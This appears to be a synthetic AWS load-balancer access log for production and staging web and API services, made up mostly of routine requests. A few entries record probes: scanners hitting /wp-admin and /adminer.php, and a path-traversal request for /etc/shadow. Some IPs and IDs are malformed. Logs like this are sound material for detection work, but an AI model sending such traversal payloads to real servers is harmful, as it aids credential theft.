prod-api-alb 234.238.37.26:63766 10.0.9.106:443 0.029762 0.475682 0.009476 302 302 246 12280 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d27c-5581f40e4fb74c8aa0d2f4bc" "-" "-" 7 2024-11-01T01:54:52.884219Z "forward" "-" "-" "10.0.9.106:443" "302" "-" "-" -https 2024-11-01T01:54:53.666180Z staging-alb 187.175.128.118:15319 66.231.171.154:443 0.072486 0.148756 0.142232 302 302 371 2469 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d27d-29b3cb1729f64c158b83fd7b" "staging-alb.example.com" "-" 5 2024-11-01T01:54:53.666180Z "forward" "-" "-" "66.231.171.154:443" "302" "-" "-" -https 2024-11-01T01:54:54.289640Z prod-web-alb 145.67.222.248:64342 10.0.189.158:443 0.007396 0.058818 0.012026 404 404 180 5172 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d27e-3d2c027472104982b623ebf9" "prod-web-alb.example.com" "-" 8 2024-11-01T01:54:54.289640Z "forward" "-" "-" "10.0.189.158:443" "404" "-" "-" -http 2024-11-01T01:54:55.848912Z staging-alb 139.144.167.219:42371 130.243.178.12:443 0.088208 0.745817 0.119963 302 302 74 7089 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d27f-00425c7272954f6eae563f95" "staging-alb.example.com" "-" 6 2024-11-01T01:54:55.848912Z "forward" "-" "-" "130.243.178.12:443" "302" "-" "-" -https 2024-11-01T01:54:56.659241Z prod-api-alb 58.103.222.204:28635 10.0.172.223:443 0.046503 0.029100 0.093125 200 200 561 11528 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d280-cca17a3b8a5d4624b3b13660" "prod-api-alb.example.com" "-" 2 2024-11-01T01:54:56.659241Z "forward" "-" "-" "10.0.172.223:443" "200" "-" "-" -https 2024-11-01T01:54:57.932104Z staging-alb 15.205.13.254:37335 151.238.241.20:443 0.077622 0.548892 0.053117 302 302 519 13099 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d281-a0be16b9acaa45fbb72dce6e" "staging-alb.example.com" "-" 9 2024-11-01T01:54:57.932104Z "forward" "-" "-" "151.238.241.20:443" "302" "-" "-" -https 2024-11-01T01:54:59.520097Z prod-api-alb 177.36.112.86:61998 10.0.30.221:443 0.053710 0.031594 0.093449 200 200 541 7150 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d283-05a394cfb63a45289e2f77fc" "prod-api-alb.example.com" "-" 8 2024-11-01T01:54:59.520097Z "forward" "-" "-" "10.0.30.221:443" "200" "-" "-" -https 2024-11-01T01:55:00.166997Z prod-api-alb 15.74.22.77:55692 10.0.198.154:443 0.069011 0.473215 0.069772 302 302 386 4692 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d284-fb741ba8669040db95920646" "prod-api-alb.example.com" "-" 4 2024-11-01T01:55:00.166997Z "forward" "-" "-" "10.0.198.154:443" "302" "-" "-" -https 2024-11-01T01:55:00.511936Z prod-api-alb 45.155.205.138:62063 10.0.86.162:443 0.077974 0.244534 0.018315 403 403 638 13850 "GET /wp-admin HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d284-cca8463be2314943914c1c3e" "-" "-" 9 2024-11-01T01:55:00.511936Z "forward" "-" "-" "10.0.86.162:443" "403" "-" "-" -https 2024-11-01T01:55:01.412158Z staging-alb 171.11.126.83:51415 189.201.235.200:8080 0.002540 0.099765 0.014390 200 200 525 13334 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d285-28f3b9b3f9984bbab7e11280" "staging-alb.example.com" "-" 3 2024-11-01T01:55:01.412158Z "forward" "-" "-" "189.201.235.200:8080" "200" "-" "-" -https 2024-11-01T01:55:03.318219Z prod-web-alb 152.68.136.67:37669 10.0.137.4:443 0.069277 0.158828 0.017954 302 302 363 8923 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d287-06cf769b5da04a5382e2ba93" "prod-web-alb.example.com" "-" 6 2024-11-01T01:55:03.318219Z "forward" "-" "-" "10.0.137.4:443" "302" "-" "-" -http 2024-11-01T01:55:05.108701Z staging-alb 181.214.110.175:25584 87.9.205.247:80 0.105064 0.370525 0.050740 200 200 536 1136 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d289-e87ca4ff1acb42649354790b" "staging-alb.example.com" "-" 10 2024-11-01T01:55:05.108701Z "forward" "-" "-" "87.9.205.247:80" "200" "-" "-" -https 2024-11-01T01:55:06.908098Z prod-web-alb 246.26.95.138:63606 10.0.228.218:443 0.024049 0.051574 0.070235 200 200 749 7277 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d28a-e7702993162f4a07b67f6adb" "prod-web-alb.example.com" "-" 1 2024-11-01T01:55:06.908098Z "forward" "-" "-" "10.0.228.218:443" "200" "-" "-" -https 2024-11-01T01:55:07.580789Z prod-web-alb 202.82.53.181:50114 10.0.135.155:443 0.016004 0.150326 0.082982 404 404 1000 12608 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d28b-30cff4db55ad41158dce73e6" "prod-web-alb.example.com" "-" 10 2024-11-01T01:55:07.580789Z "forward" "-" "-" "10.0.135.155:443" "404" "-" "-" -https 2024-11-01T01:55:09.080418Z prod-web-alb 225.16.34.37:56286 10.0.23.193:443 0.065602 0.439088 0.078359 200 200 881 5787 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d28d-7ff9a9029de94b41aa76b064" "prod-web-alb.example.com" "-" 1 2024-11-01T01:55:09.080418Z "forward" "-" "-" "10.0.23.193:443" "200" "-" "-" -https 2024-11-01T01:55:10.438155Z prod-web-alb 168.180.85.216:11016 10.0.151.132:443 0.038279 0.044295 0.081887 404 404 200 3206 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d28e-741695c051ed43dcace3c09a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:55:10.438155Z "forward" "-" "-" "10.0.151.132:443" "404" "-" "-" -https 2024-11-01T01:55:11.201382Z prod-api-alb 185.181.187.26:21252 10.0.223.233:443 0.061356 0.491516 0.093748 302 302 939 1826 "GET /adminer.php HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d28f-651190ed510b4bf8ac0aba47" "-" "-" 6 2024-11-01T01:55:11.201382Z "forward" "-" "-" "10.0.223.233:443" "302" "-" "-" -https 2024-11-01T01:55:12.492927Z prod-api-alb 100.156.22.129:29077 10.0.29.76:443 0.071914 0.307134 0.010508 200 200 182 8891 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d290-1dcfa232d5ae4b06b7f81119" "prod-api-alb.example.com" "-" 1 2024-11-01T01:55:12.492927Z "forward" "-" "-" "10.0.29.76:443" "200" "-" "-" -https 2024-11-01T01:55:12.719603Z staging-alb 172.129.45.219:51634 248.185.172.183:8080 0.078836 0.698652 0.019255 200 200 537 11435 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d290-c9f0e2acf14b483f816bdd88" "staging-alb.example.com" "-" 10 2024-11-01T01:55:12.719603Z "forward" "-" "-" "248.185.172.183:8080" "200" "-" "-" -https 2024-11-01T01:55:13.743151Z prod-web-alb 176.48.43.67:52166 10.0.131.43:443 0.081369 0.354049 0.010299 200 200 423 13606 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d291-602f8a77d5f8482f9829287e" "prod-web-alb.example.com" "-" 9 2024-11-01T01:55:13.743151Z "forward" "-" "-" "10.0.131.43:443" "200" "-" "-" -https 2024-11-01T01:55:15.105402Z prod-web-alb 203.152.148.77:25917 10.0.101.175:443 0.087816 0.138717 0.058327 301 301 984 14493 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d293-ce897985abbd43f3b79717d3" "prod-web-alb.example.com" "-" 4 2024-11-01T01:55:15.105402Z "forward" "-" "-" "10.0.101.175:443" "301" "-" "-" -https 2024-11-01T01:55:17.013368Z prod-web-alb 155.17.228.71:13653 10.0.248.241:443 0.039336 0.167214 0.015842 200 200 36 2736 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d295-e02495c894594990b8382bd3" "prod-web-alb.example.com" "-" 1 2024-11-01T01:55:17.013368Z "forward" "-" "-" "10.0.248.241:443" "200" "-" "-" -http 2024-11-01T01:55:18.623975Z staging-alb 184.107.30.59:17206 130.59.47.10:443 0.089557 0.543388 0.147832 200 200 101 5363 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d296-ac33c528ffb24d148575872d" "staging-alb.example.com" "-" 6 2024-11-01T01:55:18.623975Z "forward" "-" "-" "130.59.47.10:443" "200" "-" "-" -https 2024-11-01T01:55:19.124080Z prod-api-alb 100.75.32.179:31187 10.0.184.11:443 0.071416 0.471832 0.081257 404 404 264 5212 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d297-b2f773847fc64409a5a10e6e" "prod-api-alb.example.com" "-" 5 2024-11-01T01:55:19.124080Z "forward" "-" "-" "10.0.184.11:443" "404" "-" "-" -https 2024-11-01T01:55:19.795980Z prod-web-alb 14.174.41.160:28048 10.0.66.185:443 0.025358 0.059555 0.084901 200 200 305 7850 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d297-cb12d8baf7574f07884b1ebf" "prod-web-alb.example.com" "-" 8 2024-11-01T01:55:19.795980Z "forward" "-" "-" "10.0.66.185:443" "200" "-" "-" -https 2024-11-01T01:55:20.506835Z prod-web-alb 97.38.145.72:40797 10.0.245.149:443 0.050350 0.161891 0.072257 200 200 447 6821 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d298-bb48747dbc98424c86b79b27" "prod-web-alb.example.com" "-" 2 2024-11-01T01:55:20.506835Z "forward" "-" "-" "10.0.245.149:443" "200" "-" "-" -https 2024-11-01T01:55:21.160706Z prod-web-alb 139.237.240.220:28066 10.0.166.238:443 0.051092 0.493726 0.088630 200 200 923 11012 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d299-003390618be5466c9e59afd8" "prod-web-alb.example.com" "-" 8 2024-11-01T01:55:21.160706Z "forward" "-" "-" "10.0.166.238:443" "200" "-" "-" -https 2024-11-01T01:55:22.999724Z prod-api-alb 212.215.107.7:27215 10.0.123.74:443 0.022162 0.298229 0.072030 200 200 715 13857 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d29a-0ff8e193217f4d5783fd1c6d" "prod-api-alb.example.com" "-" 0 2024-11-01T01:55:22.999724Z "forward" "-" "-" "10.0.123.74:443" "200" "-" "-" -https 2024-11-01T01:55:24.964208Z prod-web-alb 115.230.189.222:34571 10.0.92.33:443 0.029523 0.264577 0.031076 301 301 362 6574 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d29c-c54e783fc07c4b6d915abc96" "prod-web-alb.example.com" "-" 7 2024-11-01T01:55:24.964208Z "forward" "-" "-" "10.0.92.33:443" "301" "-" "-" -https 2024-11-01T01:55:25.587907Z staging-alb 46.251.232.64:44364 199.56.161.143:8080 0.006830 0.730597 0.026017 302 302 749 13285 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d29d-71aa48b2f99247ef87c15e4b" "staging-alb.example.com" "-" 0 2024-11-01T01:55:25.587907Z "forward" "-" "-" "199.56.161.143:8080" "302" "-" "-" -https 2024-11-01T01:55:26.383146Z staging-alb 32.208.51.74:40148 0.141.114.59:443 0.122010 0.367741 0.121330 200 200 284 6063 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d29e-23d1d4c6bc4d421bbc1be346" "staging-alb.example.com" "-" 7 2024-11-01T01:55:26.383146Z "forward" "-" "-" "0.141.114.59:443" "200" "-" "-" -http 2024-11-01T01:55:27.980039Z staging-alb 242.6.210.116:42998 176.114.213.251:443 0.032713 0.403842 0.090291 200 200 148 4643 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d29f-3036bd466a2f4d1386d7dc4a" "staging-alb.example.com" "-" 4 2024-11-01T01:55:27.980039Z "forward" "-" "-" "176.114.213.251:443" "200" "-" "-" -https 2024-11-01T01:55:28.923318Z staging-alb 218.88.106.251:42021 55.96.183.34:443 0.047125 0.097466 0.149420 200 200 807 11953 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2a0-419837b2d44d47dfba772429" "staging-alb.example.com" "-" 6 2024-11-01T01:55:28.923318Z "forward" "-" "-" "55.96.183.34:443" "200" "-" "-" -https 2024-11-01T01:55:29.546532Z staging-alb 232.252.127.87:47733 90.59.233.57:8080 0.027672 0.373291 0.026629 301 301 529 13137 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2a1-197224a5fdec483eaea67b49" "staging-alb.example.com" "-" 7 2024-11-01T01:55:29.546532Z "forward" "-" "-" "90.59.233.57:8080" "301" "-" "-" -https 2024-11-01T01:55:30.832930Z prod-api-alb 110.153.26.160:56147 10.0.166.132:443 0.070537 0.244762 0.010863 200 200 592 12791 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2a2-6e209ee2f045442eb7ddafc6" "prod-api-alb.example.com" "-" 4 2024-11-01T01:55:30.832930Z "forward" "-" "-" "10.0.166.132:443" "200" "-" "-" -https 2024-11-01T01:55:31.327997Z prod-web-alb 176.184.74.101:63430 10.0.226.230:443 0.020686 0.131316 0.030536 200 200 345 5827 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2a3-7c506b8720b344d0923b4e87" "prod-web-alb.example.com" "-" 7 2024-11-01T01:55:31.327997Z "forward" "-" "-" "10.0.226.230:443" "200" "-" "-" -https 2024-11-01T01:55:32.039540Z prod-api-alb 148.14.236.238:22202 10.0.47.105:443 0.001868 0.397744 0.077784 302 302 370 4187 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2a4-001711dc06404b5c9097fe3f" "prod-api-alb.example.com" "-" 8 2024-11-01T01:55:32.039540Z "forward" "-" "-" "10.0.47.105:443" "302" "-" "-" -https 2024-11-01T01:55:33.626180Z prod-web-alb 191.220.44.253:23276 10.0.1.195:443 0.075529 0.457675 0.059558 301 301 970 9091 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2a5-0835d62136894b9f85963c47" "prod-web-alb.example.com" "-" 6 2024-11-01T01:55:33.626180Z "forward" "-" "-" "10.0.1.195:443" "301" "-" "-" -https 2024-11-01T01:55:33.849908Z staging-alb 200.79.122.173:34575 102.149.216.216:80 0.073081 0.489321 0.092382 302 302 980 889 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2a5-d3d94389d2e1409885352f79" "staging-alb.example.com" "-" 3 2024-11-01T01:55:33.849908Z "forward" "-" "-" "102.149.216.216:80" "302" "-" "-" -https 2024-11-01T01:55:34.344317Z prod-api-alb 136.75.107.54:28869 10.0.1.37:443 0.062413 0.392338 0.019496 200 200 929 11206 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2a6-7f74a19e2af94b20bb1db0e6" "prod-api-alb.example.com" "-" 0 2024-11-01T01:55:34.344317Z "forward" "-" "-" "10.0.1.37:443" "200" "-" "-" -https 2024-11-01T01:55:35.974499Z prod-api-alb 79.87.161.125:62781 10.0.178.43:443 0.015327 0.321935 0.044316 200 200 220 1972 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2a7-fc3856c135a946a285547bc5" "prod-api-alb.example.com" "-" 8 2024-11-01T01:55:35.974499Z "forward" "-" "-" "10.0.178.43:443" "200" "-" "-" -https 2024-11-01T01:55:37.852002Z prod-api-alb 0.44.18.47:24348 10.0.224.126:443 0.007713 0.114518 0.071153 301 301 670 3756 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2a9-343f699a2a044a61b7fe2095" "prod-api-alb.example.com" "-" 4 2024-11-01T01:55:37.852002Z "forward" "-" "-" "10.0.224.126:443" "301" "-" "-" -https 2024-11-01T01:55:39.528140Z prod-web-alb 193.27.228.235:28740 10.0.11.182:443 0.064975 0.126872 0.019649 403 403 249 7698 "GET /images/../../../../etc/shadow HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ab-f18c46d46b064bbbbe4d97ed" "-" "-" 7 2024-11-01T01:55:39.528140Z "forward" "-" "-" "10.0.11.182:443" "403" "-" "-" -https 2024-11-01T01:55:40.790581Z prod-web-alb 169.126.138.211:61739 10.0.203.85:443 0.071039 0.012978 0.021543 200 200 873 10840 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ac-12862cee6cc3417e8e587e24" "prod-web-alb.example.com" "-" 3 2024-11-01T01:55:40.790581Z "forward" "-" "-" "10.0.203.85:443" "200" "-" "-" -https 2024-11-01T01:55:41.313242Z prod-web-alb 72.115.24.251:43255 10.0.171.218:443 0.052828 0.401697 0.017239 404 404 542 9258 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ad-be95c6dbab12487c95a31239" "prod-web-alb.example.com" "-" 3 2024-11-01T01:55:41.313242Z "forward" "-" "-" "10.0.171.218:443" "404" "-" "-" -http 2024-11-01T01:55:41.854391Z staging-alb 126.40.133.250:11339 193.122.239.223:443 0.102097 0.431529 0.097995 200 200 420 13415 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2ad-1164554c5a564303884c9a42" "staging-alb.example.com" "-" 2 2024-11-01T01:55:41.854391Z "forward" "-" "-" "193.122.239.223:443" "200" "-" "-" -https 2024-11-01T01:55:42.716565Z prod-web-alb 220.15.232.70:61884 10.0.57.213:443 0.002749 0.107499 0.062889 302 302 652 9493 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ae-130ba0bcb7f549a593403ced" "prod-web-alb.example.com" "-" 0 2024-11-01T01:55:42.716565Z "forward" "-" "-" "10.0.57.213:443" "302" "-" "-" -https 2024-11-01T01:55:44.386542Z prod-api-alb 141.142.154.161:49456 10.0.73.167:443 0.034745 0.374249 0.056565 404 404 78 6417 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2b0-51e95daf01b747e49172d5f7" "prod-api-alb.example.com" "-" 8 2024-11-01T01:55:44.386542Z "forward" "-" "-" "10.0.73.167:443" "404" "-" "-" -https 2024-11-01T01:55:44.500532Z prod-api-alb 144.154.242.105:21894 10.0.102.240:443 0.071533 0.067538 0.047088 404 404 21 4353 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 